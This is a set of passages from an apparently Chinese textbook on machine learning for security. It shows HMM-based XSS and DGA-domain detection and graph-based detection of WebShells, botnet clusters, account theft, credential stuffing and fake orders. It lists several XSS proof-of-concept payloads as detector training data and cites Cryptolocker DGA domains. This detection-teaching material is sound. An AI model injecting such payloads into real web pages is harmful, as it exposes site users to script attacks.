    {"text": "假设存在如下数据集合： dataset = [['my', 'dog', 'has', 'flea', 'problems', 'help', 'please'], ['maybe', 'not', 'take', 'him', 'to', 'dog', 'park', 'stupid'], ['my', 'dalmation', 'is', 'so', 'cute', 'I', 'love', 'him'], ['stop', 'posting', 'stupid', 'worthless', 'garbage'], ['mr', 'licks', 'ate', 'my', 'steak', 'how', 'to', 'stop', 'him'], ['quit', 'buying', 'worthless', 'dog', 'food', 'stupid']] 首先生成词汇表： vocabSet = set() for doc in dataset: vocabSet |= set(doc) vocabList = list(vocabSet) 根据词汇表生成词集： # 词集模型 SOW = [] for doc in dataset: vec = [0]*len(vocabList) for i, word in enumerate(vocabList): if word in doc: vec[i] = 1 SOW.append(doc) 简化后的词集模型的核心代码如下： fredist = nltk.FreqDist(tokens_list) # 单文件词频 keys=fredist.keys() keys=keys[:max] #只提取前N个频发使用的单词 其余泛化成0 for localkey in keys: # 获取统计后的不重复词集 if localkey in wordbag.keys(): # 判断该词是否已在词集中 continue else: wordbag[localkey] = index_wordbag index_wordbag += 1 3.数据处理与特征提取 常见的XSS攻击载荷如下： <script>alert('XSS')</script> %3cscript%3ealert('XSS')%3c/script%3e %22%3e%3cscript%3ealert('XSS')%3c/script%3e <IMG SRC=\"javascript:alert('XSS');\"> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=javascript:alert('XSS')> <img src=xss onerror=alert(1)> <IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=\"jav&#x09;ascript:alert('XSS');\"> <BODY BACKGROUND=\"javascript:alert('XSS')\"> <BODY ONLOAD=alert('XSS')> 需要支持的词法切分原则为： ·单双引号包含的内容；"},
    {"text": "代码实现举例如下： tokens_pattern = r'''(?x) \"[^\"]+\" |http://\\S+ |</\\w+> |<\\w+> |<\\w+ |\\w+= |> |\\w+\\([^<]+\\) # 函数 比如alert(String.fromCharCode(88,83,83)) |\\w+ ''' words=nltk.regexp_tokenize(line, tokens_pattern) 另外，为了减少向量空间，需要把数字、字符以及超链接范化，具体原则为： #数字常量替换成8 line, number = re.subn(r'\\d+', \"8\", line) #ulr日换成http://u line, number = re.subn(r'(http|https)://[a-zA-Z0-9\\.@&/#!#\\?]+', \"http://u\", line) #干掉注释 line, number = re.subn(r'\\/\\*.?\\*\\/', \"\", line) 范化后分词效果示例为： #原始参数值：\"><img src=x onerror=prompt(0)>) #分词后： ['>', '<img', 'src=', 'x', 'onerror=', 'prompt(8)', '>'] #原始参数值：<iframe src=\"x-javascript&colon;alert(document.domain);\"></iframe>) #分词后： ['<iframe', 'src=', '\"x-javascript&colon;alert(document.domain);\"', '>', '</iframe>'] #原始参数值：<marquee><h1>XSS by xss</h1></marquee> ) #分词后： ['<marquee>', '<h8>', 'XSS', 'by', 'xss', '</h8>', '</marquee>'] #原始参数值：<script>-=alert;-(1)</script> \"onmouseover=\"confirm(document.domain);\"\" </script>) #分词后： ['<script>', 'alert', '8', '</script>', '\"onmouseover=\"', 'confirm(document.domain)', '</script>'] #原始参数值：<script>alert(2)</script> \"><img src=x onerror=prompt(document.domain)>) #分词后： ['<script>', 'alert(8)', '</script>', '>', '<img', 'src=', 'x', 'onerror=', 'prompt(document.domain)', '>'] 结合词集模型，完整的处理流程如图12-9所示。"},
    {"text": "remodel = hmm.GaussianHMM(n_components=3, covariance_type=”full”, n_iter=100) remodel.fit(X,X_lens) 5.验证模型 整个系统运行过程如图12-10所示。"},
    {"text": "使用20000条正常日志和20000条XSS攻击识别（类似JSFUCK这类编码暂时不支持），准确率达到90%以上，其中验证环节的核心代码如下： with open(filename) as f: for line in f: line = line.strip('\\n') line = urllib.unquote(line) h = HTMLParser.HTMLParser() line = h.unescape(line) if len(line) >= MIN_LEN: line, number = re.subn(r'\\d+', \"8\", line) line, number = re.subn(r'(http|https)://[a-zA-Z0-9\\.@&/#!#\\?:]+', \"http://u\", line) line, number = re.subn(r'\\/\\*.?\\*\\/', \"\", line) words = do_str(line) vers = [] for word in words: if word in wordbag.keys(): vers.append([wordbag[word]]) else: vers.append([-1]) np_vers = np.array(vers) pro = remodel.score(np_vers) if pro >= T: print \"SCORE:(%d) XSS_URL:(%s) \" % (pro,line)"},
    {"text": "12.5 示例：使用隐式马尔可夫算法识别DGA域名 完整演示代码请见本书GitHub上的12-4.py。 1.参数建模 DGA通常是基于当前时间、硬编码的常量以及字典，根据一定的算法生成，如图12-11所示。 图12-11 DGA原理图 以僵尸网络cryptolocker的DGA算法为例，生成的DGA与时间关系如下： wwkahhnyqvxdfq.com,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt kpudegrfqeuadh.net,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt xraxhxvadmpgdn.biz,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt ldjhqijygqrudp.ru,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt yfoctantsymbmt.org,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt mxyfqyrashjxdv.co.uk,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt aaeatqvufpeedj.info,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt rnpwcfjkeiybhu.com,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt 2.数据处理与特征提取 域名特征提取流程如图12-12所示。 图12-12 域名特征提取 Alexa是一家专门发布网站世界排名的网站。以搜索引擎起家的Alexa创建于1996年4月（美国）。Alexa每天在网上搜集超过1000 GB的信息，不仅给出多达几十亿的网址链接，而且为其中的每一个网站进行排名。可以说，Alexa是当前拥有URL数量最庞大、排名信息发布最详尽的网站。我们使用Alexa全球排名前100万的网站的域名训练HMM模型。 加载域名数据代码如下： def load_alexa(filename): domain_list=[] csv_reader = csv.reader(open(filename)) for row in csv_reader: domain=row[1] if domain >= MIN_LEN: domain_list.append(domain) return domain_list 数据格式如图12-13所示。 图12-13 Alexa排名数据 搜集常见僵尸网络的DGA数据，具体数据请见本书对应的GitHub链接。 加载DGA数据代码如下： def load_dga(filename): domain_list=[] #xsxqeadsbgvpdke.co.uk,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13, # http://osint.bambenekconsulting.com/manual/cl.txt with open(filename) as f: for line in f: domain=line.split(\",\")[0] if domain >= MIN_LEN: domain_list.append(domain) return domain_list 特征化逻辑非常简单，直接转化成对应的ASCII即可： def domain2ver(domain): ver=[] for i in range(0,len(domain)): ver.append([ord(domain[i])]) return ver 3.训练模型 使用默认参数的HMM训练Alexa域名即可： def train_hmm(domain_list): X = [[0]] X_lens = [1] for domain in domain_list: ver=domain2ver(domain) np_ver = np.array(ver) X=np.concatenate([X,np_ver]) X_lens.append(len(np_ver)) remodel = hmm.GaussianHMM(n_components=N, covariance_type=\"full\", n_iter=100) remodel.fit(X,X_lens) joblib.dump(remodel, FILE_MODEL) return remodel 4.验证模型 使用搜集的两个不同家族的僵尸网络来验证模型，这两个家族分别是cryptolocker和post-tovar-goz： if __name__ == '__main__': domain_list = load_alexa(\"../data/top-1000.csv\") remodel=joblib.load(FILE_MODEL) x_3,y_3=test_dga(remodel, \"../data/dga-post-tovar-goz-1000.txt\") x_2,y_2=test_dga(remodel,\"../data/dga-cryptolocke-1000.txt\") fig,ax=plt.subplots() ax.set_xlabel('Domain Length') ax.set_ylabel('HMM Score') ax.scatter(x_3,y_3,color='b',label=\"dga_post-tovar-goz\") ax.scatter(x_2, y_2, color='g', label=\"dga_cryptolocker\") ax.legend(loc='right') plt.show() 为了方便对比两个家族的聚类效果，我们以域名长度为横轴，HMM值为纵轴作图，结果如图12-14所示。 图12-14 不同僵尸家族聚类效果 可见HMM作为DGA僵尸网络区分的一个变量，非常具有区分性，进一步的区分还需要增加变量，使用SVM等算法作为区分。 12.6 本章小结 本章介绍了HMM的基础知识，结合XSS检测实现了两种检测思路；第一种是学习正常业务模型识别异常；第二种是学习攻击模型进一步识别满足攻击语法的攻击行为。另外，还以DGA聚类为例，介绍了基于HMM算法生成重要特征的方法。"},
    {"text": "参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://hmmlearn.readthedocs.io/en/latest/ · http://www.freebuf.com/articles/network/114693.html 还有一些参考文献值得一读： [1] Bilge L，Kirda E，Kruegel C，Balduzzi M.Exposure：Finding malicious domains using passive DNS analysis.Network&Distributed System Security Symposium，2011. [2] Igino Corona，Davide Ariu，Giorgio Giacinto.HMM-Web：a Framework for the Detection of Attacks Against Web Applications.IEEE International Conference on Communications，2009，15（1）：747-752. [3] Wang K，Stolfo S J.Anomalous Payload-Based Network Intrusion Detection.Recent Advances in Intrusion Detection：International Symposium，2004，3224：203-222. [4] Ingham K L，Somayaji A，Burge J，Forrest S.Learning DFA Representations of HTTP for Protecting Web Applications.Computer Networks，2007，51（5）：1239-1255. [5] C Kruegel，G Vigna，W Robertson.A Multi-Model Approach to the Detection of Web-Based at-Tacks.Computer Networks，2005. 第13章 图算法与知识图谱 图算法广泛应用于存在大量非结构化网状数据的领域，如社交网络、金融、交通、搜索等，是一种非常简单易用且有效的机器学习算法，算法的思想也非常容易理解。而网络安全领域在风控、威胁情报方面也有很多非结构化网状数据，所以也会用到图算法。本章将介绍图的基本概念，并给出基本的使用方式，介绍如何使用有向图识别WebShell，如何使用有向图识别僵尸网络中的同一黑产团体，将结合搜索广告介绍神秘的知识图谱，以及知识图谱在风控领域的应用，包括检测账户被盗、撞库以及简单的刷单，还有在威胁情报领域的应用，包括挖掘后门文件的潜在联系以及域名的潜在联系等。 13.1 图算法概述 在现实世界中，有种关联关系难以用数据库的表结构来表示，比如微博的粉丝关系、偶像剧中的N角恋、多个域名之间的注册关系等，于是图这种古老的数据结构就派上了用场。一般认为，如果给图的每条边规定一个方向，那么得到的图称为有向图，其边也称为有向边。在有向图中，与一个节点相关联的边有出边和入边之分，而与一个有向边关联的两个点也有始点和终点之分。相反，边没有方向的图称为无向图。我们拿一个实际的例子来讲解下用途最为广泛的有向图的一些基础知识。 微博中的好友关注关系就是典型的有向图（如图13-1所示），因为关注是有方向性的，比如我关注了钟丽缇，但是钟丽缇不一定关注了我。假定关注关系如下描述： ·A关注了C； ·B关注了A； ·C关注D； ·D关注了A和B。 图13-1 图算法原理图 D关注了两个人，所以他的出度为2，D被1个人关注，所以他的入度为1。 图的聚类算法，最简单的一种实现叫做连通分支，其原理如图13-2所示。所谓连通分支，指的是图中由边连接在一起的一组顶点，不要求顶点之间必须两两相连，但是连通分支的任意两个顶点之间，至少存在一条路径，计算连通分支时不区分有向图和无向图。 图13-2 图的连通分支原理图"},
    {"text": "13.2 示例：hello world！有向图 Neo4j是一个高性能的图形数据库，它将结构化数据存储在网络上而不是表中，因其具有嵌入式、高性能、轻量级等优势，越来越受到人们关注。我们以Neo4j为例进行讲解。编写我们的第一个有向图程序，完整演示代码请见本书GitHub上的13-1.py。 1.neo4j安装 在 https://neo4j.com/ 上下载安装包进行安装，默认配置即可。 2.ne04j启动 以我的mac为例子，通过gui启动，启动界面如图13-3所示，默认密码为ne04j/ne04j，第一次登录会要求更改密码。 图13-3 neo4j启动界面 启动管理界面见图13-4。 图13-4 neo4j管理界面 3.SDK安装 Python API库安装： sudo pip install neo4j-driver 下载JPype： https://pypi.python.org/pypi/JPype1 安装JPype： tar -zxvf JPype1-0.6.2.tar.gz cd JPype1-0.6.2 sudo python setup.py install 4.导入数据 微博关注关系如图13-5所示。 图13-5 微博关注关系图 假设要将上面的微博好友关系导入数据库。 导入库并连接数据库： from neo4j.v1 import GraphDatabase, basic_auth driver = GraphDatabase.driver(\"bolt://localhost\", auth=basic_auth(\"neo4j\", \"maidou\")) session = driver.session() 插入人物节点以及关注关系数据： insert_query = ''' UNWIND {pairs} as pair MERGE (p1:Person {name:pair[0]}) MERGE (p2:Person {name:pair[1]}) MERGE (p1)-[:KNOWS]-(p2); ''' data = [[\"Jim\",\"Mike\"],[\"Jim\",\"Billy\"],[\"Anna\",\"Jim\"], [\"Anna\",\"Mike\"],[\"Sally\",\"Anna\"],[\"Joe\",\"Sally\"], [\"Joe\",\"Bob\"],[\"Bob\",\"Sally\"]] session.run(insert_query, parameters={\"pairs\": data}) 5.查询数据 查询1： foaf_query = ''' MATCH (person:Person)-[:KNOWS]-(friend)-[:KNOWS]-(foaf) WHERE person.name = {name} AND NOT (person)-[:KNOWS]-(foaf) RETURN foaf.name AS name ''' results = session.run(foaf_query, parameters={\"name\": \"Joe\"}) for record in results: print(record[\"name\"]) 运行结果为： B0000000B60544:code liu.yan$ python 13-1.py Anna 查询2： common_friends_query = \"\"\" MATCH (user:Person)-[:KNOWS]-(friend)-[:KNOWS]-(foaf:Person) WHERE user.name = {user} AND foaf.name = {foaf} RETURN friend.name AS friend \"\"\" results = session.run(common_friends_query, parameters={\"user\": \"Joe\", \"foaf\": \"Sally\"}) for record in results: print(record[\"friend\"]) 查询结果为： B0000000B60544:code liu.yan$ python 13-1.py Bob 查询3： connecting_paths_query = \"\"\" MATCH path = shortestPath((p1:Person)-[:KNOWS*..6]-(p2:Person)) WHERE p1.name = {name1} AND p2.name = {name2} RETURN path \"\"\" results = session.run(connecting_paths_query, parameters={\"name1\": \"Joe\", \"name2\": \"Billy\"}) for record in results: print (record[\"path\"]) 结果为： B0000000B60544:code liu.yan$ python 13-1.py <Path start=7 end=16 size=4> 6.可视化展现 可视化可以分两点：1）展示原始数据，2）展示关联关系。 Neo4j原始数据如图13-6所示。 图13-6 neo4j原始数据图 Neo4j关联关系如图13-7所示。 图13-7 Neo4j关联关系可视化图"},
    {"text": "13.3 示例：使用有向图识别WebShell 完整演示代码请见本书GitHub上的13-2.py以及13-3.py。 WebShell具有很多访问特征，其中和有向图相关的为： ·入度出度均为0； ·入度出度均为1且自己指向自己。 完整处理流程如图13-8所示。 图13-8 HTTP日志数据处理流程 1.数据整理 我们在新安装的WordPress网站下面安装一个简单的后门1.php，如图13-9所示，内容为phpinfo。 图13-9 测试环境中放置的后门文件 Apache默认不记录refer字段，需要修改默认配置，开启HTTPD自定义日志格式，记录User-Agen以及Referer： <IfModule logio_module> # You need to enable mod_logio.c to use %I and %O LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\" %I %O\" combinedio </IfModule> CustomLog \"logs/access_log\" combined 针对1.php的访问日志为： [root@instance-8lp4smgv logs]# cat access_log | grep 'wp-admin/1.php' 125.33.206.140 - - [26/Feb/2017:13:09:47 +0800] \"GET /wordpress/wp-admin/1.php HTTP/1.1\" 200 17 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\" 125.33.206.140 - - [26/Feb/2017:13:11:19 +0800] \"GET /wordpress/wp-admin/1.php HTTP/1.1\" 200 17 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\" 逐行处理日志，生成原始页面请求的URL和该页面refer指向URL的对应关系，聚合结果举例为： - -> http://180.76.190.79/wordpress/wp-admin/1.php - -> http://180.76.190.79/wordpress/wp-admin/admin-ajax.php - -> http://180.76.190.79/wordpress/wp-admin/customize.php - -> http://180.76.190.79/wordpress/wp-admin/load-styles.php - -> http://180.76.190.79/wordpress/wp-admin/post-new.php - -> http://180.76.190.79/wordpress/wp-login.php http://180.76.190.79/wordpress/ -> http://180.76.190.79/wordpress/wp-admin/edit-comments.php http://180.76.190.79/wordpress/ -> http://180.76.190.79/wordpress/wp-admin/profile.php http://180.76.190.79/wordpress/ -> http://180.76.190.79/wordpress/wp-login.php http://180.76.190.79/wordpress/ -> http://180.76.190.79/wordpress/xmlrpc.php http://180.76.190.79/wordpress/wp-admin/ -> http://180.76.190.79/wordpress/wp 2.数据导入 连接数据库： driver = GraphDatabase.driver(\"bolt://localhost:7687\",auth=basic_auth(\"neo4j\",\"maidou\")) session = driver.session() 逐行读取，生成节点以及关联关系： for line in file_object: matchObj = re.match( r'(\\S+) -> (\\S+)', line, re.M|re.I) if matchObj: path = matchObj.group(1); ref = matchObj.group(2); if path in nodes.keys(): path_node = nodes[path] else: path_node = \"Page%d\" % index nodes[path]=path_node sql = \"create (%s:Page {url:\\\"%s\\\" , id:\\\"%d\\\",in:0,out:0})\" %(path_node,path,index) index=index+1 session.run(sql) 把入度出度作为节点的属性，更新节点的出度入度属性： if ref in nodes.keys(): ref_node = nodes[ref] else: ref_node = \"Page%d\" % index nodes[ref]=ref_node sql = \"create (%s:Page {url:\\\"%s\\\",id:\\\"%d\\\",in:0,out:0})\" %(ref_node,ref,index) index=index+1 session.run(sql) sql = \"create (%s)-[:IN]->(%s)\" %(path_node,ref_node) session.run(sql) sql = \"match (n:Page {url:\\\"%s\\\"}) SET n.out=n.out+1\" % path session.run(sql) sql = \"match (n:Page {url:\\\"%s\\\"}) SET n.in=n.in+1\" % ref session.run(sql) 3.查询结果 网页关联关系原始数据如图13-10所示。 图13-10 网页关联关系原始数据 网页关联关系可视化结果如图13-11所示。 图13-11 网页关联关系可视化图 查询入度为1出度均为0的节点或者查询入度出度均为1且指向自己的节点，由于把ref为空的情况也识别为\"-\"节点，所以入度为1出度均为0。查询满足条件的疑似WebShell链接，如图13-12所示。 图13-12 查询疑似WebShell的链接 在生产环境实际使用中，我们遇到的误报分为以下几种： ·主页，各种index页面； ·Phpmyadmin、Zabbix等运维管理后台； ·Hadoop、ELK等开源软件的控制台； ·API接口。 这些通过短期加白可以有效解决，比较麻烦的是扫描器对结果的影响，这部分需要通过扫描器指纹或者使用高大上的人机算法来去掉干扰。"},
    {"text": "13.4 示例：使用有向图识别僵尸网络 黑产团伙通过控制僵尸网络，如图13-13所示，主要达到以下几个目的： ·发送广告邮件； ·发起DDoS攻击； ·发起恶意广告点击展现请求； ·全网扫描漏洞并自动化渗透具有漏洞的主机，不断扩充肉鸡的规模。 黑产通常会对整个僵尸网络发布相同的控制指令，所以通过统计一段时间内攻击源IP和被攻击者域名之间的关联关系，可以初步确定哪些IP可能是被同一个黑产团体控制，如图13-14所示。 图13-13 黑产控制僵尸网络发起攻击示意图 图13-14 IP与被攻击域名处理流程图 完整演示代码请见本书GitHub上的13-4.py。 1.数据整理 获取开源攻击数据网站 http://www.secrepo.com/ 上的数据并整理成训练集合，格式如下： 97.74.144.16* *nggui.cn 97.74.144.16* *lfinancetips.* 97.74.144.16* *zc.* 97.74.237.19* *000.* 98.150.210.24* *qi-steel-shot.* 98.21.4.24* *dapower.* 其中IP地址和域名做了脱敏处理。 脱敏函数实现为： with open(filename) as f: for line in f: line=line.strip('\\n') ip,domain=line.split() ip=re.sub(r'\\d$', '*', ip) domain= re.sub(r'\\w{3}$', '*', domain) domain = re.sub(r'^\\w{3}', '*', domain) print \"%s %s\" % (ip,domain) 2.数据导入 逐行读取攻击数据，按照攻击源IP建立hash表，hash表的键值为被攻击的域名： with open(filename) as f: for line in f: (ip,domain)=line.split(\" \") if not ip==\"0.0.0.0\": if not iplist.has_key(ip): iplist[ip]={} iplist[ip][domain]=1 定义阈值R，攻击的域名超过R的IP才列入统计范围： for ip in iplist.keys(): if len(iplist[ip]) >= R: goodiplist[ip]=1 定义计算jarccard系数的函数，作为衡量两个IP攻击集合相似度的方式。所谓jarccard系数，指的是两个集合交集除以并集的比值。定义阈值N，当两个IP攻击的域名jarccard大于等于N时才列入统计范围： #jarccard系数 def get_len(d1,d2): ds1=set() for d in d1.keys(): ds1.add(d) ds2=set() for d in d2.keys(): ds2.add(d) return len(ds1&ds2)/len(ds1|ds2) 满足阈值的IP导入图数据库： for ip1 in iplist.keys(): for ip2 in iplist.keys(): if not ip1 == ip2 : weight=get_len(iplist[ip1],iplist[ip2]) if (weight >= N) and (ip1 in goodiplist.keys()) and (ip2 in goodiplist.keys()): #点不存在会自动添加 G.add_edge(ip1,ip2,weight=weight) 3.查询分析 定于阈值M，当同一团伙的IP大于等于M时才显示结果： n_sub_graphs=nx.number_connected_components(G) sub_graphs=nx.connected_component_subgraphs(G) for i,sub_graph in enumerate(sub_graphs): n_nodes=len(sub_graph.nodes()) if n_nodes >= M: print(\"Subgraph {0} has {1} nodes {2}\".format(i,n_nodes,sub_graph.nodes())) 定义全局阈值，包括相似度、黑客团伙IP最小个数等： #相似度 N=0.5 #黑客团伙IP最少个数 M=3 #黑客IP攻击目标最小个数 R=2 结果举例为： Subgraph 2 has 20 nodes ['58.219.226.23*', '58.208.34.6*', '58.255.121.17*', '60.220.65.4*', '61.188.148.12*', '59.56.44.*', '58.241.12.14*', '58.255.125.22*', '60.161.88.13*', '59.55.101.24*', '59.63.58.*', '60.168.24.11*', '60.206.64.11*', '59.59.165.22*', '58.209.126.20*', '58.52.199.*', '61.180.116.22*', '59.56.126.3*', '61.154.37.20*', '60.186.111.3*'] Subgraph 3 has 3 nodes ['58.49.86.23*', '60.22.103.2*', '59.53.67.20*'] Subgraph 5 has 5 nodes ['58.217.185.12*', '59.63.28.17*', '59.47.7.11*', '59.47.7.12*', '59.63.248.4*'] 可视化聚类结果如图13-15所示。 图13-15 僵尸网络聚类效果图"},
    {"text": "13.5 知识图谱概述 当你在百度搜索“孙悟空的师傅”时（参见图13-16），会直接展现出唐僧和菩提老祖的百度百科介绍。 图13-16 在百度搜索“孙悟空的师傅” 这是因为百度搜索通过知识图谱建立实体之间的属性与关系，让搜索引擎更懂用户的意图，直接解答用户的疑惑。 当你拿起手机搜索“全聚德”时，会自动展现你附近的全聚德店的位置，如图13-17所示。 图13-17 百度搜索“全聚德” 这是因为百度搜索借助于知识图谱，结合用户行为信息，为用户提供更符合当前场景的搜索结果。 当你在百度搜索“达芬奇”时，除了会展现达·芬奇相关的信息，同时也会自动展现关注达·芬奇的人同时也关注的其他人物以及作品，见图13-18。 这是因为百度搜索通过知识图谱建立事物之间的关联，扩展用户搜索结果，发现更多内容。 图13-18 百度搜索“达芬奇” 2012年，Google在其官方博客中宣称：为了让用户能够更快、更简单地发现新的信息和知识，Google搜索将发布“知识图谱”（Knowledge Graph）——可以将搜索结果进行知识系统化，任何一个关键词都能获得完整的知识体系。比如搜索“Amazon”（亚马逊河），一般的搜索结果会给出和Amazon最相关的信息。比如Amazon网站，因为网上关于它的信息最多，但Amazon并不仅仅是一个网站，它还是全球流量最大的Amazon河流。如果再追溯历史，它可能还是希腊女战士一族的代称。而这些结果未来都会在Google搜索的“知识图谱”中展现出来。Google的“知识图谱”不仅仅会从Freebase、维基百科或全球概览中获得专业的信息，同时还通过大规模的信息搜索分析来提高搜索结果的深度和广度。现在Google数据库中包含超过5亿个事物，不同事物之间的关系超过35亿条。同时人们搜索得越多，Google获得的信息也就越多越全面，整个“知识图谱”也就会达到更好的效果。 知识图谱本质上可以认为是图的一种具体应用，它大量集成了互联网上的各类数据，从而进一步挖掘出了数据的潜在联系与价值。在安全领域应用知识图谱，可以挖掘数据之间潜在的联系，结合这些潜在的联系可以大大扩展我们的数据分析思路。 13.6 示例：知识图谱在风控领域的应用 传统的风控策略主要基于模型和策略，这在传统行业已然有着很大的市场，但是在互联网环境下，职业黑产团伙以及羊毛党的加入，传统的风控策略已经大打折扣。如何利用互联网上各类数据，挖掘蛛丝马迹，进行风控呢？知识图谱，作为关系的直接表示方式，可以很好地解决这两个问题。首先，知识图谱提供非常便捷的方式来添加新的数据源。其次，知识图谱本身就是用来表示关系的，这种直观的表示方法可以帮助我们更有效地分析复杂关系中存在的特定的潜在风险。下面我们结合几个典型场景介绍知识图谱在风控领域的应用。完整演示代码请见本书Github上的13-5.py。 13.6.1 检测疑似账号被盗 盗号是互联网业务中常见的恶意行为。盗号的渠道也非常多，从暴力破解到撞库都可能导致账户被盗，单纯依赖用户名和密码认证已经无法保障账户的安全。我们使用脱敏的测试数据来演示疑似账户被盗的情况。测试样本记录了微软的邮件系统的手机客户端成功登录日志： uid=mike,ip=ip1,tel=tel1,activesyncid=1 uid=mike,ip=ip2,tel=tel1,activesyncid=2 uid=mike,ip=ip3,tel=tel1,activesyncid=2 uid=john,ip=ip1,tel=tel2,activesyncid=2 uid=john,ip=ip4,tel=tel2,activesyncid=2 uid=john,ip=ip5,tel=tel2,activesyncid=2 字段含义分别为： ·uid，用户名； ·ip，登录IP地址； ·tel，安装微软邮件客户端的手机的手机号； ·activesyncid，安装微软邮件客户端的手机对应activesyncid，该id全局唯一，与硬件绑定，类似微软在PC上的guid。 疑似账户被盗逻辑上对应的拓扑结构如图13-19所示。 图13-19 疑似账户被盗示意图 从拓扑图可以看出来，activesyncid为2的硬件登录了mike和john两个账户，mike历史上曾经成功登录过activesyncid为1的硬件以及activesyncid为2的硬件，初步判定activesyncid为2的硬件盗取了mike的账户登录。 逐行处理样本文件，获取对应的uid、ip、tel、activesyncid： with open(\"../data/KnowledgeGraph/sample1.txt\") as f: G = nx.Graph() for line in f: line=line.strip('\\n') uid,ip,tel,activesyncid=line.split(',') 以uid为中心，添加对应的ip、tel、activesyncid节点： G.add_edge(uid, ip) G.add_edge(uid, tel) G.add_edge(uid, activesyncid) 可视化知识图谱： nx.draw(G, with_labels=True, node_size=600) plt.show() 对应知识图谱见图13-20。 图13-20 疑似账户被盗的知识图谱"},
    {"text": "13.6.2 检测疑似撞库攻击 撞库是黑客通过收集互联网已泄露的用户和密码信息，生成对应的字典表，尝试批量登录其他网站后，得到一系列可以登录的用户。很多用户在不同网站使用的是相同的账号密码，因此黑客可以通过获取用户在A网站的账户从而尝试登录B网站，这就可以理解为撞库攻击。2014年12月25日，12306网站用户信息在互联网上疯传。对此，12306官方网站称，网上泄露的用户信息系经其他网站或渠道流出。据悉，此次泄露的用户数据不少于131653条。该批数据基本确认为黑客通过“撞库攻击”所获得。我们使用脱敏的测试数据来演示疑似撞库攻击的情况。测试样本记录了微软的邮件系统的网页版登录日志，其中既包含登录成功也包含登录失败的情况： uid=mike,ip=ip1,login=yes,ua=ua1 uid=mike,ip=ip1,login=no,ua=ua1 uid=lily,ip=ip1,login=yes,ua=ua1 uid=willy,ip=ip1,login=no,ua=ua1 uid=tony,ip=ip1,login=yes,ua=ua1 uid=charly,ip=ip1,login=yes,ua=ua1 uid=steven,ip=ip1,login=no,ua=ua1 uid=mery,ip=ip1,login=no,ua=ua1 uid=john,ip=ip1,login=no,ua=ua1 字段含义分别为： ·uid，用户名； ·ip，登录IP地址； ·login，登录状态，yes表明登录成功，no表明登录失败； ·ua，浏览器的ua字段，通常结合ip和ua字段可以在一定程度标识一个用户或者设备。 疑似撞库攻击逻辑上对应的拓扑结构如图13-21所示。 图13-21 疑似撞库攻击示意图 从拓扑图可以看出来，大量账户从ip1登录，并且ua字段相同，登录失败和成功的情况均存在，疑似发生了撞库攻击行为。通常情况下，同一IP不会出现大量登录行为，即使办公网出口这种人员密集的地方，也应该主要是登录成功为主，不应该登录成功与失败数量均比较大。 逐行处理样本文件，获取对应的uid、ip、login、ua字段： with open(\"../data/KnowledgeGraph/sample2.txt\") as f: G = nx.Graph() for line in f: line=line.strip('\\n') uid,ip,login,ua=line.split(',') 以uid为中心，添加对应的ip、login、ua节点： G.add_edge(uid, ip) G.add_edge(uid, login) G.add_edge(uid, ua) 可视化知识图谱： nx.draw(G, with_labels=True, node_size=600) plt.show() 对应知识图谱见图13-22。 图13-22 疑似撞库攻击的知识图谱"},
    {"text": "13.6.3 检测疑似刷单 国内O2O的大肆补贴，滋生了一个产业链，即所谓的“羊毛党”和“刷单”。有一批人对搜集各大电子商城、银行、实体店等各渠道的优惠促销活动、免费业务之类的信息产生了浓厚的兴趣。他们有选择地参与活动，从而以相对较低成本甚至零成本换取物质上的实惠。这一行为被称为“薅羊毛”，而关注与热衷于薅羊毛的群体就被称作“羊毛党”。早前，“羊毛党”们主要活跃在O2O平台或电商平台。另外随着2015年互联网金融的发展，一些网贷平台为吸引投资者常推出一些收益丰厚的活动，如注册认证奖励、充值返现、投标返利等，催生了以此为生的投资群体，他们也被称为“P2P羊毛党”。这部分用户与网购羊毛党不同，只关注互联网金融产品。 刷单是店家付款请人假扮顾客，用以假乱真的购物方式提高网店的排名和销量，从而获取好评吸引顾客，即由卖家提供购买费用，帮指定的网店卖家购买商品提高销量和信用度，并填写虚假好评的行为。通过这种方式，网店可以获得较好的搜索排名，比如，在平台搜索时按“销量”搜索，该店铺因为销量大（即便是虚假的）会更容易被买家找到。刷单一般可分为两种：一是单品刷销量为做爆款等做准备；二是刷信誉以提高店铺整体信誉度。还有一种刷单更为直接，以外卖软件为例子，同一个人使用两台手机，分别安装客户下单软件和商家接单软件，一下一接，捞取补贴。我们使用脱敏的测试数据来演示下疑似刷单的情况。 测试样本分为两部分，一部分记录了设备指纹对应安装的App以及App的登录名： hid=1,uid=mike,app=app1 hid=2,uid=tony,app=app1 hid=1,uid=john,app=app2 hid=2,uid=john,app=app2 字段含义分别为： ·hid，硬件指纹，唯一标识一台设备； ·uid，App的登录用户名； ·app，App的名称。 一部分记录了App的登录名以及下单接单情况： hid=1,uid=mike,action=buy hid=2,uid=tony,action=sell 字段含义分别为： ·hid，硬件指纹，唯一标识一台设备； 